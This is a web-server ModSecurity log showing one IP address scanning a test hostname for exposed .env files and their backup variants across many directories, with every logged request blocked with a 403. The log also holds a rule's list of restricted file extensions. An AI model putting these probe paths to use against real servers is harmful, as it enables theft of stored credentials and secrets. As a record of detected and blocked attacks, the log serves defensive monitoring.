[Sat Nov 29 02:42:47.041374 2025] [:error] [pid 395881] [client 195.178.110.155:45326] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aSpPl7VL27gtiM4DUrnKqgAAAAM&quot;]
[Sat Nov 29 02:42:47.041611 2025] [:error] [pid 395881] [client 195.178.110.155:45326] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aSpPl7VL27gtiM4DUrnKqgAAAAM&quot;]
[Sat Nov 29 02:42:47.041811 2025] [:error] [pid 395881] [client 195.178.110.155:45326] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aSpPl7VL27gtiM4DUrnKqgAAAAM&quot;]
[Sat Nov 29 02:42:47.103679 2025] [:error] [pid 395881] [client 195.178.110.155:45326] [client 195.178.110.155] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aSpPl7VL27gtiM4DUrnKqwAAAAM&quot;]
[Sat Nov 29 02:42:47.103801 2025] [:error] [pid 395881] [client 195.178.110.155:45326] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aSpPl7VL27gtiM4DUrnKqwAAAAM&quot;]
[Sat Nov 29 02:42:47.104009 2025] [:error] [pid 395881] [client 195.178.110.155:45326] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aSpPl7VL27gtiM4DUrnKqwAAAAM&quot;]
[Sat Nov 29 02:42:47.104189 2025] [:error] [pid 395881] [client 195.178.110.155:45326] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aSpPl7VL27gtiM4DUrnKqwAAAAM&quot;]
[Sat Nov 29 02:42:47.141330 2025] [:error] [pid 395881] [client 195.178.110.155:45326] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aSpPl7VL27gtiM4DUrnKrAAAAAM&quot;]
[Sat Nov 29 02:42:47.141574 2025] [:error] [pid 395881] [client 195.178.110.155:45326] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aSpPl7VL27gtiM4DUrnKrAAAAAM&quot;]
[Sat Nov 29 02:42:47.141761 2025] [:error] [pid 395881] [client 195.178.110.155:45326] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aSpPl7VL27gtiM4DUrnKrAAAAAM&quot;]
[Sat Nov 29 02:42:47.163450 2025] [:error] [pid 395881] [client 195.178.110.155:45326] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /portal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aSpPl7VL27gtiM4DUrnKrQAAAAM&quot;]
[Sat Nov 29 02:42:47.163677 2025] [:error] [pid 395881] [client 195.178.110.155:45326] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aSpPl7VL27gtiM4DUrnKrQAAAAM&quot;]
[Sat Nov 29 02:42:47.163866 2025] [:error] [pid 395881] [client 195.178.110.155:45326] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aSpPl7VL27gtiM4DUrnKrQAAAAM&quot;]
[Sat Nov 29 02:42:47.185890 2025] [:error] [pid 395881] [client 195.178.110.155:45326] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aSpPl7VL27gtiM4DUrnKrgAAAAM&quot;]
[Sat Nov 29 02:42:47.186126 2025] [:error] [pid 395881] [client 195.178.110.155:45326] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aSpPl7VL27gtiM4DUrnKrgAAAAM&quot;]
[Sat Nov 29 02:42:47.186328 2025] [:error] [pid 395881] [client 195.178.110.155:45326] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aSpPl7VL27gtiM4DUrnKrgAAAAM&quot;]
[Sat Nov 29 02:42:47.423993 2025] [:error] [pid 395881] [client 195.178.110.155:45326] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aSpPl7VL27gtiM4DUrnKrwAAAAM&quot;]
[Sat Nov 29 02:42:47.424230 2025] [:error] [pid 395881] [client 195.178.110.155:45326] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aSpPl7VL27gtiM4DUrnKrwAAAAM&quot;]
[Sat Nov 29 02:42:47.424449 2025] [:error] [pid 395881] [client 195.178.110.155:45326] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aSpPl7VL27gtiM4DUrnKrwAAAAM&quot;]
[Sat Nov 29 02:42:47.876759 2025] [:error] [pid 396956] [client 195.178.110.155:45328] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aSpPl4tKufSJfVuSdY3iywAAAAo&quot;]
[Sat Nov 29 02:42:47.877031 2025] [:error] [pid 396956] [client 195.178.110.155:45328] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aSpPl4tKufSJfVuSdY3iywAAAAo&quot;]
[Sat Nov 29 02:42:47.877208 2025] [:error] [pid 396956] [client 195.178.110.155:45328] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aSpPl4tKufSJfVuSdY3iywAAAAo&quot;]
[Sat Nov 29 02:42:48.002680 2025] [:error] [pid 396956] [client 195.178.110.155:45328] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aSpPmItKufSJfVuSdY3izAAAAAo&quot;]
[Sat Nov 29 02:42:48.002909 2025] [:error] [pid 396956] [client 195.178.110.155:45328] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aSpPmItKufSJfVuSdY3izAAAAAo&quot;]
[Sat Nov 29 02:42:48.003112 2025] [:error] [pid 396956] [client 195.178.110.155:45328] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aSpPmItKufSJfVuSdY3izAAAAAo&quot;]
[Sat Nov 29 02:42:54.189548 2025] [:error] [pid 395859] [client 195.178.110.155:45366] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aSpPnloA1e4Hc_0ExRYaiAAAAAU&quot;]
[Sat Nov 29 02:42:54.189782 2025] [:error] [pid 395859] [client 195.178.110.155:45366] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aSpPnloA1e4Hc_0ExRYaiAAAAAU&quot;]
[Sat Nov 29 02:42:54.189995 2025] [:error] [pid 395859] [client 195.178.110.155:45366] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aSpPnloA1e4Hc_0ExRYaiAAAAAU&quot;]
[Sat Nov 29 02:43:01.706710 2025] [:error] [pid 396954] [client 195.178.110.155:56088] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aSpPpZN6k15eICFuqzfsGQAAAAQ&quot;]
[Sat Nov 29 02:43:01.706951 2025] [:error] [pid 396954] [client 195.178.110.155:56088] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aSpPpZN6k15eICFuqzfsGQAAAAQ&quot;]
[Sat Nov 29 02:43:01.707138 2025] [:error] [pid 396954] [client 195.178.110.155:56088] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aSpPpZN6k15eICFuqzfsGQAAAAQ&quot;]
[Sat Nov 29 02:43:07.976865 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /live/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.env&quot;] [unique_id &quot;aSpPqyl2_ayZcB2mSooNggAAAAk&quot;]
